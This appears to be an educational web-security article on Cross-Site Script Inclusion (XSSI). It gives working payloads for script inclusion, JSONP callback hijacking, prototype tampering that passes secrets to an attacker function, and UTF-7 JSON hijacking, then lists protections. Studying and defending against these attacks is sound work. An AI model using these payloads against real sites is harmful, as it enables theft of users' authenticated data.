Cross-Site Script Incusion (XSSI)
XSSI designates a kind of vulnerability which exploits the fact that, when a resource is included using the script tag, the SOP doesn’t apply, because scripts have to be able to be included cross-domain. An attacker can thus read everything that was included using the script tag.
This is especially interesting when it comes to dynamic
JavaScript or JSONP when so-called ambient-authority information like
cookies are used for authentication. The cookies are included when
requesting a resource from a different host.
Types Of XSSI
- Static JavaScript (regular XSSI)
- Static JavaScript, which is only accessible when authenticated
- Dynamic JavaScript
- Non-JavaScript
1. Regular XSSI
The private information is located inside a global accessible JS file, you can just detect this by reading files, searching keywords or using regexps.
To exploit this, just include the script with private information inside the malicious content:
1. <span class="has-inline-color has-vivid-red-color"><script src="https://www.vulnerable-domain.tld/script.js"></script></span>
2. <span class="has-inline-color has-vivid-green-cyan-color"><script> alert(JSON.stringify(confidential_keys[0])); </script></span>
2. Dynamic-JavaScript-based-XSSI and 3. Authenticated-JavaScript-XSSI
Confidential information is added to the script when a user requests it. This can be easily discovered by sending the request with and without the cookies, if different information is retrieved, then confidential information could be contained. To do this automatically you can use burp extension: https://github.com/luh2/DetectDynamicJS.
If the information resides inside a global variable, you you can exploit it using the same code as for the the previous case.
If the confidential data is sent inside a JSONP response, you can override the executed function to retrieve the information:
<span class="has-inline-color has-vivid-red-color"><script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script></span>
Or you could also set a prepared function to be executed by the JSONP response:
<span class="has-inline-color has-vivid-green-cyan-color"><script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script></span>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
If a variable does not reside inside the global namespace, sometimes this can be exploited anyway using prototype tampering. Prototype tampering abuses the design of JavaScript, namely that when interpreting code, JavaScript traverses the prototype chain to find the called property. The following example is extracted from the paper The Unexpected Dangers of Dynamic JavaScript and demonstrates how overriding a relevant function of type Array and access to this, a non-global variable can be leaked as well.
<span class="has-inline-color has-luminous-vivid-amber-color">(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
})();</span>
In the original code slice from type Array accesses the data we’re interested in. An attacker can, as described in the preceding clause, override slice and steal the secrets.
<span class="has-inline-color has-luminous-vivid-orange-color">Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};</span>
Security Researcher Sebastian Lekies just recently updated his list of vectors.
4. Non-Script-XSSI
Takeshi Terada describes another kind of XSSI in his paper Identifier based XSSI attacks. He was able to leak Non-Script files cross-origin by including, among others, CSV files as source in the script tag, using the data as variable and function names.
The first publicly documented XSSI attack was in 2006. Jeremiah
Grossman’s blog entry Advanced Web Attack Techniques using GMail depicts
a XSSI, which by overriding the Array constructor was able to read the
complete address book of a google account.
In 2007 Joe Walker published JSON is not as safe as people think
it is. He uses the same idea to steal JSON that is inside an Array.
Other related attacks were conducted by injecting UTF-7 encoded
content into the JSON to escape the JSON format. It is described by
Gareth Heyes, author of Hackvertor, in the blog entry JSON Hijacking
released in 2011. In a quick test, this was still possible in Microsoft
Internet Explorer and Edge, but not in Mozilla Firefox or Google Chrome.
JSON with UTF-7:
<span class="has-inline-color has-luminous-vivid-orange-color">[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]</span>
Including the JSON in the attacker’s page
<span class="has-inline-color has-vivid-red-color"><script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script></span>
PROTECTION FROM XSSI
Developers should never place sensitive content inside JavaScript files and also not in JSONP. This already thwarts a large number of attacks from category 1 to 3. Category 4 vulnerabilities are usually fixed through browserside measurements. Nevertheless, user entries which are saved to JSON files and read from them should be sanitized.
The majority of bugs described in Takeshi Terada’s paper have been fixed. However, there is always the possibility that similar bugs are found again. These can be blocked at least partially by instructing the browser to not guess the content-type. Some browsers accept the not-yet-standard response header X-Content-Type-Options: nosniff to do so. A correct Content-Type is also helpful in reducing the chance of XSSI.